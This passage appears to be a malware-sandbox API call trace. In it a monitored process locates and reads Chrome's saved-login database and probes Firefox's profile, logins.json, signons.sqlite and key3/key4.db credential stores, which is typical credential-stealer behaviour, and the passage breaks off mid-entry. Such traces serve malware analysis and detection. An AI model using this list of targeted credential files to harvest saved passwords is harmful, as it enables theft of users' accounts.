lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x36e558 | out: lpFileInformation=0x36e558*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7c30, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc7c7c30, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc8aad00, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0095.158] GetLastError () returned 0x12 [0095.158] SetErrorMode (uMode=0x0) returned 0x1 [0095.208] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36e0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.208] GetLastError () returned 0x12 [0095.208] SetErrorMode (uMode=0x1) returned 0x0 [0095.208] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x36e540 | out: lpFileInformation=0x36e540*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7c30, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc7c7c30, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc8aad00, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0095.208] GetLastError () returned 0x12 [0095.208] SetErrorMode (uMode=0x0) returned 0x1 [0095.214] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36e064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.215] GetLastError () returned 0x12 [0095.215] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36dff8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.215] GetLastError () returned 0x12 [0095.215] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36e044, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.216] GetLastError () returned 0x12 [0095.216] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36dfd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.216] GetLastError () returned 0x12 [0095.217] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36e00c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.217] GetLastError () returned 0x12 [0095.217] SetErrorMode (uMode=0x1) returned 0x0 [0095.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), fInfoLevelId=0x0, lpFileInformation=0x36e48c | out: lpFileInformation=0x36e48c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7c7c30, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xc7c7c30, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xc8aad00, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0095.217] GetLastError () returned 0x12 [0095.217] SetErrorMode (uMode=0x0) returned 0x1 [0095.218] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", nBufferLength=0x105, lpBuffer=0x36def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", lpFilePart=0x0) returned 0x4a [0095.218] GetLastError () returned 0x12 [0095.218] SetErrorMode (uMode=0x1) returned 0x0 [0095.220] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x37c [0095.220] GetLastError () returned 0x0 [0095.221] GetFileType (hFile=0x37c) returned 0x1 [0095.221] SetErrorMode (uMode=0x0) returned 0x1 [0095.222] GetFileType (hFile=0x37c) returned 0x1 [0095.222] GetACP () returned 0x4e4 [0095.231] GetFileSize (in: hFile=0x37c, lpFileSizeHigh=0x36e57c | out: lpFileSizeHigh=0x36e57c*=0x0) returned 0x4800 [0095.231] GetLastError () returned 0x0 [0095.234] ReadFile (in: hFile=0x37c, lpBuffer=0x252ec54, nNumberOfBytesToRead=0x4800, lpNumberOfBytesRead=0x36e49c, lpOverlapped=0x0 | out: lpBuffer=0x252ec54*, lpNumberOfBytesRead=0x36e49c*=0x4800, lpOverlapped=0x0) returned 1 [0095.236] GetLastError () returned 0x0 [0095.238] CloseHandle (hObject=0x37c) returned 1 [0095.238] GetLastError () returned 0x0 [0095.245] VarDecCmp (pdecLeft=0x36e590, pdecRight=0x36e580) returned 0x2 [0095.311] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.311] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36d248 | out: pdecResult=0x36d248) returned 0x0 [0095.311] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.311] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.374] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.375] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.375] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.376] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.376] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.376] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.376] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.376] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.376] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.376] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.376] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.376] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.376] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.376] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.376] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.377] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.377] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.377] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.378] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.378] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.378] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.379] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.379] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.379] VarDecRound (in: pdecIn=0x36ce28, cDecimals=0, pdecResult=0x36ce10 | out: pdecResult=0x36ce10) returned 0x0 [0095.379] VarDecRound (in: pdecIn=0x36cde0, cDecimals=0, pdecResult=0x36ce00 | out: pdecResult=0x36ce00) returned 0x0 [0095.379] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.379] VarDecCmp (pdecLeft=0x36ce60, pdecRight=0x36ce50) returned 0x1 [0095.379] VarDecRound (in: pdecIn=0x36ce60, cDecimals=0, pdecResult=0x36ce48 | out: pdecResult=0x36ce48) returned 0x0 [0095.534] VarDecRound (in: pdecIn=0x36d774, cDecimals=0, pdecResult=0x36d75c | out: pdecResult=0x36d75c) returned 0x0 [0095.534] VarDecRound (in: pdecIn=0x36d73c, cDecimals=0, pdecResult=0x36d724 | out: pdecResult=0x36d724) returned 0x0 [0095.534] VarDecRound (in: pdecIn=0x36d73c, cDecimals=0, pdecResult=0x36d724 | out: pdecResult=0x36d724) returned 0x0 [0095.534] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Login Data", nBufferLength=0x105, lpBuffer=0x36e0d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Login Data", lpFilePart=0x0) returned 0x42 [0095.534] GetLastError () returned 0x0 [0095.534] SetErrorMode (uMode=0x1) returned 0x0 [0095.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\login data"), fInfoLevelId=0x0, lpFileInformation=0x36e558 | out: lpFileInformation=0x36e558*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.535] GetLastError () returned 0x2 [0095.535] SetErrorMode (uMode=0x0) returned 0x1 [0095.564] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x8ad6e8, nSize=0x80 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x21 [0095.564] GetLastError () returned 0x2 [0095.784] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x36dfac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", lpFilePart=0x0) returned 0x3e [0095.784] GetLastError () returned 0x2 [0095.784] SetErrorMode (uMode=0x1) returned 0x0 [0095.784] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x37c [0095.786] GetLastError () returned 0x0 [0095.786] GetFileType (hFile=0x37c) returned 0x1 [0095.786] GetFileType (hFile=0x37c) returned 0x1 [0095.787] ReadFile (in: hFile=0x37c, lpBuffer=0x25acc7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e514, lpOverlapped=0x0 | out: lpBuffer=0x25acc7c*, lpNumberOfBytesRead=0x36e514*=0x6f, lpOverlapped=0x0) returned 1 [0095.788] GetLastError () returned 0x0 [0095.788] ReadFile (in: hFile=0x37c, lpBuffer=0x25acc7c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e514, lpOverlapped=0x0 | out: lpBuffer=0x25acc7c*, lpNumberOfBytesRead=0x36e514*=0x0, lpOverlapped=0x0) returned 1 [0095.788] GetLastError () returned 0x0 [0095.789] CloseHandle (hObject=0x37c) returned 1 [0095.789] GetLastError () returned 0x0 [0095.858] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json", nBufferLength=0x105, lpBuffer=0x36e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json", lpFilePart=0x0) returned 0x57 [0095.858] GetLastError () returned 0x0 [0095.858] SetErrorMode (uMode=0x1) returned 0x0 [0095.858] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\logins.json"), fInfoLevelId=0x0, lpFileInformation=0x36e520 | out: lpFileInformation=0x36e520*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0095.861] GetLastError () returned 0x2 [0095.861] SetErrorMode (uMode=0x0) returned 0x1 [0095.862] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x36dfac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini", lpFilePart=0x0) returned 0x3e [0095.862] GetLastError () returned 0x2 [0095.862] SetErrorMode (uMode=0x1) returned 0x0 [0095.862] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x37c [0095.862] GetLastError () returned 0x0 [0095.862] GetFileType (hFile=0x37c) returned 0x1 [0095.863] GetFileType (hFile=0x37c) returned 0x1 [0095.863] ReadFile (in: hFile=0x37c, lpBuffer=0x25b1d4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e514, lpOverlapped=0x0 | out: lpBuffer=0x25b1d4c*, lpNumberOfBytesRead=0x36e514*=0x6f, lpOverlapped=0x0) returned 1 [0095.863] GetLastError () returned 0x0 [0095.863] ReadFile (in: hFile=0x37c, lpBuffer=0x25b1d4c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x36e514, lpOverlapped=0x0 | out: lpBuffer=0x25b1d4c*, lpNumberOfBytesRead=0x36e514*=0x0, lpOverlapped=0x0) returned 1 [0095.863] GetLastError () returned 0x0 [0095.864] CloseHandle (hObject=0x37c) returned 1 [0095.864] GetLastError () returned 0x0 [0095.926] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite", nBufferLength=0x105, lpBuffer=0x36e0a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite", lpFilePart=0x0) returned 0x5a [0095.926] GetLastError () returned 0x0 [0095.926] SetErrorMode (uMode=0x1) returned 0x0 [0095.926] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\signons.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\signons.sqlite"), fInfoLevelId=0x0, lpFileInformation=0x36e520 | out: lpFileInformation=0x36e520*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40f29ea0, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x40f29ea0, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x41947c20, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x50000)) returned 1 [0095.968] GetLastError () returned 0x0 [0095.968] SetErrorMode (uMode=0x0) returned 0x1 [0096.057] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key4.db", nBufferLength=0x105, lpBuffer=0x36de68, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key4.db", lpFilePart=0x0) returned 0x53 [0096.057] GetLastError () returned 0x0 [0096.057] SetErrorMode (uMode=0x1) returned 0x0 [0096.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key4.db" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\key4.db"), fInfoLevelId=0x0, lpFileInformation=0x36e2e8 | out: lpFileInformation=0x36e2e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0096.057] GetLastError () returned 0x2 [0096.057] SetErrorMode (uMode=0x0) returned 0x1 [0096.058] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", nBufferLength=0x105, lpBuffer=0x36de68, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db", lpFilePart=0x0) returned 0x53 [0096.058] GetLastError () returned 0x2 [0096.058] SetErrorMode (uMode=0x1) returned 0x0 [0096.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\key3.db" (normalized: 